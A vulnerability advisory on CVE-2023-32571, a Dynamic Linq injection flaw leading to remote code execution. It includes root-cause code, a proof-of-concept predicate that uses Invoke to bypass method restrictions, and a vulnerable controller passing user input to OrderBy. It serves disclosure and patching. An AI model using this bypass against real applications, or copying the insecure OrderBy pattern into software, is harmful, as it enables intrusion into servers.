Verder naar navigatie Doorgaan naar hoofdinhoud Ga naar de voettekst

Dynamic Linq Injection Remote Code Execution Vulnerability (CVE-2023-32571)

13 juni 2023

door Ross Bradley

Product Details

NameSystem.Linq.Dynamic.Core
Affected versions1.0.7.10 to 1.2.25
Fixed versions>= 1.3.0
URLhttps://www.dynamic-linq.net/

Vulnerability Summary

CVECVE-2023-32571
CWECWE-184: Incomplete List of Disallowed Inputs
CVSSv3.1 vectorAV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N
CVSSv3.1 base score 9.1

Overview

What is Dynamic Linq?

Dynamic Linq is an open source .NET library that allows developers to easily incorporate flexible data filtering into their applications and services. It parses user-supplied text input and compiles and executes a lambda.

The library has over 80m downloads from the NuGet package manager site, and is used in a number of large projects including frameworks such as AspNetBoilerPlate, meaning it forms part of many applications.

The vulnerability

Users can execute arbitrary code and commands where user input is passed to Dynmic Linq methods such as .Where(...), .All(...), .Any(...) and .OrderBy(...). The .OrderBy(...) method is commonly provided with unchecked user input by developers, which results in arbitrary code execution. The code/commands will be executed in the context of the process that utilises Dynamic Linq. This is expected to be a low-privileged user or service account. Where search functionality is exposed to anonymous users for example, this may be exploitable pre-authentication.

Root Cause Analysis

Dynamic Linq is used to compile and execute predicates that are supplied in text form. The input will be compiled, subject to some restrictions intended to prevent arbitrary method execution. Per the documentation, these safety checks are:

  • Only allow-listed primitive types can be explicitly instantiated
  • The only methods that may be called are:
    • Methods on Accessible Types
    • Static methods in the Math and Convert namespaces
    • Methods from the IEnumerable and IQueryable interfaces

The Accessible Types are the Linq primitive types (string, datetime, GUID, various numerical types, object etc.) and the System.Math and System.Convert namespaces (see Dynamic Linq – Accessible Types).

Additionally, Dynamic Linq will permit its own aggregate methods to be called on objects that implement the IEnumerable and IQueryable interfaces. The aggregate methods include .Where(...), .Skip(...), .First() etc.

However, In 2016 a pull request was made and accepted titled “Add unit test and fix public methods access”. This was intended to allow access to public methods on classes retrieved via Linq queries. This functionality had been intentionally prohibited by the original design for security reasons.

The commit changed the existing test used to determine if a method was permitted to be called:

Pre-commit

case 1:
    MethodInfo method = (MethodInfo)mb;
    if (!IsPredefinedType(method.DeclaringType))
        throw ParseError(errorPos, Res.MethodsAreInaccessible, GetTypeName(method.DeclaringType));

Post-commit

case 1:
    MethodInfo method = (MethodInfo)mb;
    if (!IsPredefinedType(method.DeclaringType)    !(method.IsPublic    IsPredefinedType(method.ReturnType)))
        throw ParseError(errorPos, Res.MethodsAreInaccessible, GetTypeName(method.DeclaringType));

In the original code, methods were only callable on predefined types (the Accessible Types). The commit widened this test, to also allow public methods that returned an Accessible Type to be called. This permits numerous dangerous methods to be called, the most useful of which is the Invoke method.

Invoke is a generic method found on on all Method types, so by necessity its return type is Object, which can later be cast to the appropriate type. As the Object type is an Accessible Type, the Invoke method can be called on any Method type, allowing any method to be called on any object (and also any static method).

Invoking Arbitrary Methods

As the Invoke method is public, and it is declared to return an Object which is an Accessible Type the vulnerable versions of the Dynamic Linq library allow any method to be Invoked.

This can be used to execute arbitrary methods on any object as illustrated in this simple proof of concept:

  1. Create a new .Net console project
$> mkdir dynamic-linq-poc
$> cd dynamic-linq-poc
$> dotnet new console
  1. Replace the contents of Program.cs:
using System;
using System.Linq;
using System.Linq.Dynamic.Core;
public class Program

{
  public static void Main()
  {
    var baseQuery = new int[] { 1, 2, 3, 4, 5 }.AsQueryable();
    string predicate = "\"\".GetType().Assembly.GetName().Name.ToString() != \"NCC Group\"";
    var result = baseQuery.OrderBy(predicate);
    foreach (var val in result)
    {
      Console.WriteLine(val);
    }
  }
}
  1. Add a reference to the Dynamic Linq library:
$> dotnet add package System.Linq.Dynamic.Core --version 1.2.25
  1. Run the program and note the error message – “Methods on type ‘Assembly’ are not accessible”.

As expected, it is not permitted to call the GetName method on an object of type Assembly as the Assembly type is not an Accessible Type.

  1. Edit the predicate string as follows:
using System;
using System.Linq;
using System.Linq.Dynamic.Core;
public class Program

{
  public static void Main()
  {
    var baseQuery = new int[] { 1, 2, 3, 4, 5 }.AsQueryable();
    string predicate = "\"\".GetType().Assembly.DefinedTypes.Where(it.name == \"Assembly\").First()
     .DeclaredMethods.Where(it.Name == \"GetName\").First().Invoke(\"\".GetType().Assembly,
     new Object[] {} ).Name.ToString() != \"NCC Group\"";
    var result = baseQuery.OrderBy(predicate);
    foreach (var val in result)
    {
      Console.WriteLine(val);
    }
  }
}
  1. Run the program again, and note that the code executes successfully.

Whilst the two predicates are semantically identical, the first one is prohibited as expected, but the second one is permitted as it uses the Invoke method to call the GetName method on the Assembly type. This technique is proven to allow the execution of OS commands and loading of arbitrary assemblies.

Impact

As Dynamic Linq is a library, the exact impact depends on the use-case within dependent projects. A common pattern seen across many web application/API projects is to use Dynamic Linq for sorting and pagination – user input is passed to the OrderBy method of the IEnumerable interface. For example:

[HttpPost(Name = "SearchItems")]
public IEnumerable Post(SearchItemReq req)
{
    return db.Items.Where(i => i.Type == req.Type).OrderBy(req.Order).ToArray();
}

In the above example the .OrderBy(...) method takes a string input directly from the user-supplied request input. This is a relatively common pattern observed in many code bases.

Prior to the introduction of this vulnerability this was a safe practice, however the vulnerability means that it is possible to leverage this to obtain remote code execution. This functionality is often available pre-authentication.

The vulnerability is known to have affected numerous dependents including the following, which in turn is expected to have a significant impact:

  • Asp.Net Boilerplate (ABP) Framework
  • Microsoft Rules Engine
  • .Net Entity Framework
  • Various CMSes including Umbraco CMS

Patching

Update System.Linq.Dynamic.Core to version 1.3.0 or greater.

Don’t forget about your upstream dependencies! Integrating tools such as OWASP Dependency Check or Trivy into your CI/CD pipeline can help you detect vulnerable dependencies early so you don’t introduce vulnerabilities into your product.